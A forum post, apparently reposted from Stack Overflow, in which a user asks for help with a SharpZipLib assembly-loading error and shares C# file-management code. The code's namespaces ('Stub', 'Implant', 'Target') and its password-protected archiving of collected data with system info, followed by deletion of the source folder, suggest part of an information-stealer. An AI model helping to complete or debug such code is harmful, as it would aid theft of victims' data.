У меня есть проблемы с загрузкой сборки и DLL в моем кодеC#

Место общения программистов C#
Ответить
Anonymous
 У меня есть проблемы с загрузкой сборки и DLL в моем коде

Сообщение Anonymous »

Хороший день. Я застрял в DLL Limbo. Когда я запускаю свой код в VS 2022, он строит без ошибок и работает должным образом. Но когда я строю для выпуска или отладки и запускаю свой файл, я получаю ошибку на моем диспетчере задач "werfault", он создает файл Crashdump, который, когда я анализирую его на своем vs, я получаю ошибку < /p>
System.IO.FileNotFoundException
HResult=0x80070002
Message=Could not load file or assembly 'ICSharpCode.SharpZipLib, Version=1.4.2.13, Culture=neutral, PublicKeyToken=1b03e6acf1164f73' or one of its dependencies. The system cannot find the file specified.
Source=
StackTrace:

< /code>
Шаги, которые я предпринял, чтобы исправить это. Органирование 4.8 < /p>
< /li>
Я отредактировал мое app.config < /p>
< /li>
< /ol>




< /code>

Я отредактировал свой csproj < /li>
< /ol>

..\packages\SharpZipLib.1.4.2\lib\netstandard2.0\ICSharpCode.SharpZipLib.dll

< /code>

Я также добавил это в файл program.cs < /li>
< /ol>
AppDomain.CurrentDomain.AssemblyResolve += (sender, args) => {
string assemblyPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "ICSharpCode.SharpZipLib.dll");
if (File.Exists(assemblyPath)) {
return Assembly.LoadFrom(assemblyPath);
}
return null;
};
< /code>
Это код ниже < /p>
using System.IO;
using System.Linq;
using Stub.Modules.Implant;
using Stub.Target.System;
using ICSharpCode.SharpZipLib.Zip;
using ICSharpCode.SharpZipLib.Core;

namespace Stub.Helpers
{
///
/// The Filemanager class provides file management utilities such as recursive deletion,
/// directory copying, directory size calculation, and archive creation.
///
internal sealed class Filemanager
{
///
/// Recursively deletes a directory and all its subdirectories.
///
/// The path of the directory to delete.
public static void RecursiveDelete(string path)
{
var baseDir = new DirectoryInfo(path);

// If directory doesn't exist, return
if (!baseDir.Exists) return;

// Recursively delete all subdirectories
foreach (var dir in baseDir.GetDirectories())
{
RecursiveDelete(dir.FullName);
}

// Delete the base directory itself
var files = baseDir.GetFiles();
foreach (var file in files)
{
file.IsReadOnly = false;
file.Delete();
}
baseDir.Delete(true);
}

///
/// Copies a directory and all its contents to a new location.
///
/// The source folder path to copy from.
/// The destination folder path to copy to.
public static void CopyDirectory(string sourceFolder, string destFolder)
{
// Ensure the destination directory exists
if (!Directory.Exists(destFolder))
{
Directory.CreateDirectory(destFolder);
}

// Copy all files in the current directory
var files = Directory.GetFiles(sourceFolder);
foreach (var file in files)
{
var fileName = Path.GetFileName(file);
var destFile = Path.Combine(destFolder, fileName);
File.Copy(file, destFile);
}

// Recursively copy all subdirectories
var folders = Directory.GetDirectories(sourceFolder);
foreach (var folder in folders)
{
var folderName = Path.GetFileName(folder);
var destFolderPath = Path.Combine(destFolder, folderName);
CopyDirectory(folder, destFolderPath);
}
}

///
/// Calculates the size of a directory by summing the sizes of all its files and subdirectories.
///
/// The path of the directory.
/// The total size of the directory in bytes.
public static long DirectorySize(string path)
{
var dirInfo = new DirectoryInfo(path);

// Sum the sizes of all files in the directory
var fileSizeSum = dirInfo.GetFiles().Sum(file => file.Length);

// Recursively sum the sizes of all subdirectories
var dirSizeSum = dirInfo.GetDirectories().Sum(subDir => DirectorySize(subDir.FullName));

return fileSizeSum + dirSizeSum;
}

///
/// Creates a compressed archive (ZIP) of a specified directory using ZipManager.
/// Optionally sets a password on the archive.
///
/// The directory to compress into an archive.
/// Whether to set a password for the archive. Default is true.
/// The path to the created ZIP archive.
public static string CreateArchive(string directory, bool setPassword = true)
{
if (!Directory.Exists(directory))
{
throw new DirectoryNotFoundException($"The directory '{directory}' does not exist.");
}

// Prepare the ZIP archive path
var zipPath = directory + ".zip";

// Prepare the ZIP comment with system and hardware information
string zipComment = "" +
$"\nPassword:" +
"\n1234567890"
"\n";

// Set the password if needed
string password = setPassword ? StringsCrypt.ArchivePassword : null;

// Create the ZIP archive using ZipManager
ZipManager.CreatePasswordProtectedZip(directory, zipPath, password, zipComment);

// Recursively delete the original directory
RecursiveDelete(directory);

// Log the completion of the compression
Logging.Log($"Archive '{new DirectoryInfo(directory).Name}' compression completed");

return zipPath;
}
}
}


Подробнее здесь: https://stackoverflow.com/questions/797 ... in-my-code
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «C#»